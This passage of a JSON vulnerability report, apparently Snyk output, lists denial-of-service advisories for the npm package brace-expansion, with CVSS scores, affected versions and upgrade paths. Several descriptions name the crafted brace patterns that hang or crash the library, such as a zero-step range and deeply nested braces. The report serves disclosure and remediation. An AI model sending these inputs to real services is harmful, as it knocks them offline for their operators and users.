[CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis 